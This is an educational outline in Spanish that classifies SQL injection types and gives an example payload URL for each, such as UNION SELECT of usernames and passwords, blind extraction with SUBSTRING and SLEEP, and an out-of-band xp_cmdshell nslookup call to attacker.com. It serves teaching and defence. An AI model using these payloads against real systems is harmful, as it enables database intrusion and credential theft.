Esquema SQL injection (SQLi)

1. Inyección SQL Clásica (In-Band SQLi)

1.1. Error-Based SQLi

  • Descripción: Utiliza errores de la base de datos para extraer información.

  • Método: Introducción de sintaxis incorrecta o comandos que generan mensajes de error detallados.

  • Ejemplo: http://example.com/index.php?id=1'

1.2. Union-Based SQLi

  • Descripción: Utiliza la cláusula UNION para combinar resultados de múltiples consultas.

  • Método: Construcción de una consulta UNION SELECT para extraer datos adicionales.

  • Ejemplo: http://example.com/index.php?id=1 UNION SELECT username, password FROM users--

2. Inyección SQL Inferencial (Blind SQLi)

2.1. Boolean-Based Blind SQLi

  • Descripción: Usa consultas que devuelven resultados booleanos (verdadero o falso) y observa las respuestas de la aplicación.

  • Método: Introducción de consultas condicionales para evaluar las diferencias en las respuestas.

  • Ejemplo: http://example.com/index.php?id=1 AND 1=1-- (verdadero) vs. http://example.com/index.php?id=1 AND 1=2-- (falso)

2.1.1. Conditional Response Blind SQLi

  • Descripción: Usa condiciones en la consulta para provocar cambios en la respuesta de la aplicación.

  • Método: Condiciones que resultan en diferentes contenidos de página o redirecciones.

  • Ejemplo: http://example.com/index.php?id=1 AND SUBSTRING((SELECT username FROM users WHERE role='admin'), 1, 1)='a'--

2.2. Time-Based Blind SQLi

  • Descripción: Usa consultas que provocan retrasos en las respuestas si una condición es verdadera.

  • Método: Funciones como SLEEP() o BENCHMARK() para medir tiempos de respuesta.

  • Ejemplo: http://example.com/index.php?id=1; IF(1=1, SLEEP(5), 0)--

2.3. Conditional Error Blind SQLi

  • Descripción: Usa condiciones en la consulta para provocar errores específicos que revelen información.

  • Método: Introducción de condiciones que resulten en errores (por ejemplo, división por cero) si la condición es verdadera.

  • Ejemplo: http://example.com/index.php?id=1 AND (SELECT CASE WHEN SUBSTRING(username,1,1)='a' THEN TO_CHAR(1/0) ELSE NULL END FROM users WHERE username='administrator') IS NOT NULL--

3. Inyección SQL Basada en Fuera de Banda (Out-of-Band SQLi)

  • Descripción: Utiliza canales alternativos para extraer datos cuando las respuestas directas no están disponibles.

  • Método: Envía consultas SQL que provocan solicitudes DNS o HTTP a un servidor controlado por el atacante.

  • Ejemplo: http://example.com/index.php?id=1; exec master..xp_cmdshell 'nslookup attacker.com'--

4. Inyección SQL de Segundo Orden (Second-Order SQL Injection)

  • Descripción: Inserta un payload malicioso que se ejecuta más tarde cuando otra operación SQL accede a los datos.

  • Método: Introducción de datos maliciosos en un formulario que luego son utilizados por otra parte del sistema.

  • Ejemplo: Un atacante introduce un payload en el campo de registro de usuario, y luego ese payload se ejecuta cuando un administrador revisa los registros.

5. Inyección SQL Basada en Almacenamiento (Stored SQL Injection)

  • Descripción: Similar a la inyección de segundo orden, el atacante introduce código malicioso que se almacena en la base de datos y se ejecuta cuando la aplicación web recupera y procesa esos datos.

  • Método: Se aprovecha de datos almacenados en la base de datos que se utilizan en consultas SQL.

  • Ejemplo: Un mensaje de foro que incluye una carga maliciosa que se ejecuta cuando se muestra en una página.

Last updated